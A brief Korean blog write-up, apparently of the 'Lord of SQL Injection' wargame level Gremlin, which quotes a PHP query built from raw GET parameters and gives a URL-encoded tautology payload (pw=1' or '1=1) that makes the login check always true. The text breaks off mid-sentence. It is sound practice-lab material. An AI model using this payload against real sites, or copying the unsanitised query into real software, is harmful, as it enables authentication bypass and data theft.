Web/Lord of Sql Ingection
LOS Gremlin
언우s
2018. 4. 10. 10:48
1. Gremlin
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
id와 pw를 GET으로 받는다.
select문을 참으로만 하면 되므로 ?id=1&pw=1%27%20or%20%271=1 넣으면 된다.
%20=space, %27=’ 이므로 저걸 넣으면